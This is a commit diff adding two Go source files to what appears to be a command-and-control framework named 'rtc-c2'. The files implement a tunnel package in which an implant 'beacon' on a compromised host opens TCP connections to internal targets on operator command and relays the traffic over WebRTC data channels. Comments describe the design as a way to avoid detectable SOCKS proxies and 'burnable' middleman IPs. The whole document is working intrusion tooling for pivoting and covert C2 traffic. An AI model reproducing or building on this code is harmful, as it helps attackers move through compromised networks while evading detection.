Upload files to "rtc-c2/pkg/tunnel"
This commit is contained in:
@@ -0,0 +1,127 @@
|
|||||||
|
package tunnel
|
||||||
|
|
||||||
|
import (
|
||||||
|
"fmt"
|
||||||
|
"io"
|
||||||
|
"log"
|
||||||
|
"net"
|
||||||
|
"strings"
|
||||||
|
"sync"
|
||||||
|
"time"
|
||||||
|
)
|
||||||
|
|
||||||
|
// Forwarder runs on the beacon side. It accepts tunnel open requests
|
||||||
|
// from the operator (via WebRTC data channel), connects to the target
|
||||||
|
// internally, and bridges data bidirectionally.
|
||||||
|
type Forwarder struct {
|
||||||
|
OnTunnelData func(tunnelID TunnelID, data []byte)
|
||||||
|
OnTunnelErr func(tunnelID TunnelID, err error)
|
||||||
|
mu sync.Mutex
|
||||||
|
connections map[TunnelID]net.Conn
|
||||||
|
}
|
||||||
|
|
||||||
|
// NewForwarder creates a new tunnel forwarder for the beacon.
|
||||||
|
func NewForwarder() *Forwarder {
|
||||||
|
return &Forwarder{
|
||||||
|
connections: make(map[TunnelID]net.Conn),
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// HandleMessage processes a tunnel message from the operator.
|
||||||
|
// Message format (simple text-based, no proxy protocol):
|
||||||
|
//
|
||||||
|
// "OPEN:host:port" — open a new connection to target
|
||||||
|
// "CLOSE" — close this tunnel
|
||||||
|
// <raw bytes> — data to forward to the target
|
||||||
|
func (f *Forwarder) HandleMessage(tunnelID TunnelID, raw []byte) {
|
||||||
|
msg := string(raw)
|
||||||
|
|
||||||
|
switch {
|
||||||
|
case strings.HasPrefix(msg, "OPEN:"):
|
||||||
|
target := strings.TrimPrefix(msg, "OPEN:")
|
||||||
|
log.Printf("[forwarder] tunnel open -> %s (id: %s)", target, tunnelID)
|
||||||
|
go f.openTunnel(tunnelID, target)
|
||||||
|
|
||||||
|
case msg == "CLOSE":
|
||||||
|
log.Printf("[forwarder] tunnel close (id: %s)", tunnelID)
|
||||||
|
f.closeTunnel(tunnelID)
|
||||||
|
|
||||||
|
default:
|
||||||
|
// Raw data to forward to the target connection
|
||||||
|
f.forwardData(tunnelID, raw)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func (f *Forwarder) openTunnel(tunnelID TunnelID, target string) {
|
||||||
|
conn, err := net.DialTimeout("tcp", target, 10*time.Second)
|
||||||
|
if err != nil {
|
||||||
|
log.Printf("[forwarder] dial %s failed: %v", target, err)
|
||||||
|
if f.OnTunnelErr != nil {
|
||||||
|
f.OnTunnelErr(tunnelID, fmt.Errorf("dial %s: %w", target, err))
|
||||||
|
}
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
f.mu.Lock()
|
||||||
|
f.connections[tunnelID] = conn
|
||||||
|
f.mu.Unlock()
|
||||||
|
|
||||||
|
log.Printf("[forwarder] tunnel connected to %s (id: %s)", target, tunnelID)
|
||||||
|
|
||||||
|
// Read from target and send back through WebRTC tunnel
|
||||||
|
buf := make([]byte, 16384)
|
||||||
|
for {
|
||||||
|
conn.SetReadDeadline(time.Now().Add(60 * time.Second))
|
||||||
|
n, err := conn.Read(buf)
|
||||||
|
if err != nil {
|
||||||
|
if err != io.EOF {
|
||||||
|
log.Printf("[forwarder] read from %s: %v", target, err)
|
||||||
|
}
|
||||||
|
f.closeTunnel(tunnelID)
|
||||||
|
return
|
||||||
|
}
|
||||||
|
if f.OnTunnelData != nil {
|
||||||
|
f.OnTunnelData(tunnelID, buf[:n])
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func (f *Forwarder) forwardData(tunnelID TunnelID, data []byte) {
|
||||||
|
f.mu.Lock()
|
||||||
|
conn, ok := f.connections[tunnelID]
|
||||||
|
f.mu.Unlock()
|
||||||
|
|
||||||
|
if !ok {
|
||||||
|
log.Printf("[forwarder] unknown tunnel id: %s", tunnelID)
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
if _, err := conn.Write(data); err != nil {
|
||||||
|
log.Printf("[forwarder] write error on %s: %v", tunnelID, err)
|
||||||
|
f.closeTunnel(tunnelID)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func (f *Forwarder) closeTunnel(tunnelID TunnelID) {
|
||||||
|
f.mu.Lock()
|
||||||
|
conn, ok := f.connections[tunnelID]
|
||||||
|
delete(f.connections, tunnelID)
|
||||||
|
f.mu.Unlock()
|
||||||
|
|
||||||
|
if ok && conn != nil {
|
||||||
|
conn.Close()
|
||||||
|
log.Printf("[forwarder] closed tunnel: %s", tunnelID)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// Close terminates all active tunnel connections.
|
||||||
|
func (f *Forwarder) Close() error {
|
||||||
|
f.mu.Lock()
|
||||||
|
defer f.mu.Unlock()
|
||||||
|
|
||||||
|
for id, conn := range f.connections {
|
||||||
|
conn.Close()
|
||||||
|
delete(f.connections, id)
|
||||||
|
}
|
||||||
|
return nil
|
||||||
|
}
|
||||||
@@ -0,0 +1,207 @@
|
|||||||
|
// Package tunnel provides direct TCP forward tunnels over WebRTC data channels.
|
||||||
|
// Instead of SOCKS5 proxies (which are detectable and require proxy software),
|
||||||
|
// this creates raw TCP forwarders — like SSH -L style port forwarding.
|
||||||
|
// The operator sets up a local listener, any connection gets wrapped in
|
||||||
|
// WebRTC data channel messages, and the beacon bridges to the real target.
|
||||||
|
//
|
||||||
|
// No proxy protocol. No proxychains. No middleman IPs to burn.
|
||||||
|
// Just clean TCP over encrypted WebRTC.
|
||||||
|
|
||||||
|
package tunnel
|
||||||
|
|
||||||
|
import (
|
||||||
|
"fmt"
|
||||||
|
"io"
|
||||||
|
"log"
|
||||||
|
"net"
|
||||||
|
"sync"
|
||||||
|
"time"
|
||||||
|
)
|
||||||
|
|
||||||
|
// TunnelID uniquely identifies a tunnel connection.
|
||||||
|
type TunnelID string
|
||||||
|
|
||||||
|
// TunnelConn represents one proxied connection through the tunnel.
|
||||||
|
type TunnelConn struct {
|
||||||
|
ID TunnelID
|
||||||
|
Target string // host:port
|
||||||
|
Conn net.Conn
|
||||||
|
Created time.Time
|
||||||
|
}
|
||||||
|
|
||||||
|
// Bridge tracks active tunnel connections and routes data between
|
||||||
|
// local sockets and the WebRTC data channel.
|
||||||
|
type Bridge struct {
|
||||||
|
OnData func(tunnelID TunnelID, data []byte)
|
||||||
|
OnClose func(tunnelID TunnelID)
|
||||||
|
mu sync.RWMutex
|
||||||
|
conns map[TunnelID]*TunnelConn
|
||||||
|
}
|
||||||
|
|
||||||
|
// NewBridge creates a new tunnel bridge.
|
||||||
|
func NewBridge() *Bridge {
|
||||||
|
return &Bridge{
|
||||||
|
conns: make(map[TunnelID]*TunnelConn),
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// ForwardHandle accepts a raw TCP connection and tunnels it through
|
||||||
|
// the WebRTC data channel to the specified target (reaches via beacon).
|
||||||
|
// No SOCKS handshake — just pure TCP over WebRTC.
|
||||||
|
func (b *Bridge) ForwardHandle(client net.Conn, target string, tunnelID TunnelID) {
|
||||||
|
defer client.Close()
|
||||||
|
|
||||||
|
log.Printf("[tunnel] forward: %s -> %s", tunnelID, target)
|
||||||
|
|
||||||
|
tc := &TunnelConn{
|
||||||
|
ID: tunnelID,
|
||||||
|
Target: target,
|
||||||
|
Created: time.Now(),
|
||||||
|
}
|
||||||
|
|
||||||
|
b.mu.Lock()
|
||||||
|
b.conns[tunnelID] = tc
|
||||||
|
b.mu.Unlock()
|
||||||
|
|
||||||
|
defer func() {
|
||||||
|
b.mu.Lock()
|
||||||
|
delete(b.conns, tunnelID)
|
||||||
|
b.mu.Unlock()
|
||||||
|
}()
|
||||||
|
|
||||||
|
// Send tunnel open request to beacon
|
||||||
|
if b.OnData != nil {
|
||||||
|
b.OnData(tunnelID, []byte(fmt.Sprintf("OPEN:%s", target)))
|
||||||
|
}
|
||||||
|
|
||||||
|
// Bridge: local -> WebRTC tunnel
|
||||||
|
buf := make([]byte, 16384)
|
||||||
|
for {
|
||||||
|
client.SetReadDeadline(time.Now().Add(30 * time.Second))
|
||||||
|
n, err := client.Read(buf)
|
||||||
|
if err != nil {
|
||||||
|
if err != io.EOF && !isNetTimeout(err) {
|
||||||
|
log.Printf("[tunnel] read error on %s: %v", tunnelID, err)
|
||||||
|
}
|
||||||
|
break
|
||||||
|
}
|
||||||
|
if b.OnData != nil {
|
||||||
|
b.OnData(tunnelID, buf[:n])
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// Tell beacon to close this tunnel
|
||||||
|
if b.OnData != nil {
|
||||||
|
b.OnData(tunnelID, []byte("CLOSE"))
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// HandleData processes incoming tunnel data from the beacon
|
||||||
|
// and writes it to the local connection.
|
||||||
|
func (b *Bridge) HandleData(tunnelID TunnelID, data []byte) {
|
||||||
|
b.mu.RLock()
|
||||||
|
tc, ok := b.conns[tunnelID]
|
||||||
|
b.mu.RUnlock()
|
||||||
|
|
||||||
|
if !ok || tc.Conn == nil {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
if _, err := tc.Conn.Write(data); err != nil {
|
||||||
|
log.Printf("[tunnel] write error on %s: %v", tunnelID, err)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// CloseTunnel closes a specific tunnel connection.
|
||||||
|
func (b *Bridge) CloseTunnel(tunnelID TunnelID) {
|
||||||
|
b.mu.Lock()
|
||||||
|
tc, ok := b.conns[tunnelID]
|
||||||
|
delete(b.conns, tunnelID)
|
||||||
|
b.mu.Unlock()
|
||||||
|
|
||||||
|
if ok && tc.Conn != nil {
|
||||||
|
tc.Conn.Close()
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// CloseAll closes all tunnel connections.
|
||||||
|
func (b *Bridge) CloseAll() {
|
||||||
|
b.mu.Lock()
|
||||||
|
defer b.mu.Unlock()
|
||||||
|
|
||||||
|
for id, tc := range b.conns {
|
||||||
|
if tc.Conn != nil {
|
||||||
|
tc.Conn.Close()
|
||||||
|
}
|
||||||
|
delete(b.conns, id)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// ForwardListener manages a single port forward mapping.
|
||||||
|
type ForwardListener struct {
|
||||||
|
LocalAddr string
|
||||||
|
TargetAddr string
|
||||||
|
TunnelID string
|
||||||
|
listener net.Listener
|
||||||
|
bridge *Bridge
|
||||||
|
running bool
|
||||||
|
mu sync.Mutex
|
||||||
|
}
|
||||||
|
|
||||||
|
// StartForwardListener creates and starts a direct TCP forward listener.
|
||||||
|
func (b *Bridge) StartForwardListener(localAddr, targetAddr string) (*ForwardListener, error) {
|
||||||
|
listener, err := net.Listen("tcp", localAddr)
|
||||||
|
if err != nil {
|
||||||
|
return nil, fmt.Errorf("forward listen on %s: %w", localAddr, err)
|
||||||
|
}
|
||||||
|
|
||||||
|
fl := &ForwardListener{
|
||||||
|
LocalAddr: localAddr,
|
||||||
|
TargetAddr: targetAddr,
|
||||||
|
TunnelID: fmt.Sprintf("fwd-%s-%s", localAddr, targetAddr),
|
||||||
|
listener: listener,
|
||||||
|
bridge: b,
|
||||||
|
running: true,
|
||||||
|
}
|
||||||
|
|
||||||
|
go func() {
|
||||||
|
connID := 0
|
||||||
|
for {
|
||||||
|
conn, err := listener.Accept()
|
||||||
|
if err != nil {
|
||||||
|
fl.mu.Lock()
|
||||||
|
if !fl.running {
|
||||||
|
fl.mu.Unlock()
|
||||||
|
return
|
||||||
|
}
|
||||||
|
fl.mu.Unlock()
|
||||||
|
log.Printf("[forward] accept error on %s: %v", localAddr, err)
|
||||||
|
return
|
||||||
|
}
|
||||||
|
connID++
|
||||||
|
tid := TunnelID(fmt.Sprintf("%s-%d", fl.TunnelID, connID))
|
||||||
|
go b.ForwardHandle(conn, targetAddr, tid)
|
||||||
|
}
|
||||||
|
}()
|
||||||
|
|
||||||
|
log.Printf("[forward] %s -> %s (via beacon)", localAddr, targetAddr)
|
||||||
|
return fl, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
// Stop shuts down the forward listener.
|
||||||
|
func (fl *ForwardListener) Stop() {
|
||||||
|
fl.mu.Lock()
|
||||||
|
fl.running = false
|
||||||
|
if fl.listener != nil {
|
||||||
|
fl.listener.Close()
|
||||||
|
}
|
||||||
|
fl.mu.Unlock()
|
||||||
|
log.Printf("[forward] stopped %s -> %s", fl.LocalAddr, fl.TargetAddr)
|
||||||
|
}
|
||||||
|
|
||||||
|
func isNetTimeout(err error) bool {
|
||||||
|
if netErr, ok := err.(net.Error); ok {
|
||||||
|
return netErr.Timeout()
|
||||||
|
}
|
||||||
|
return false
|
||||||
|
}
|
||||||
Reference in New Issue
Block a user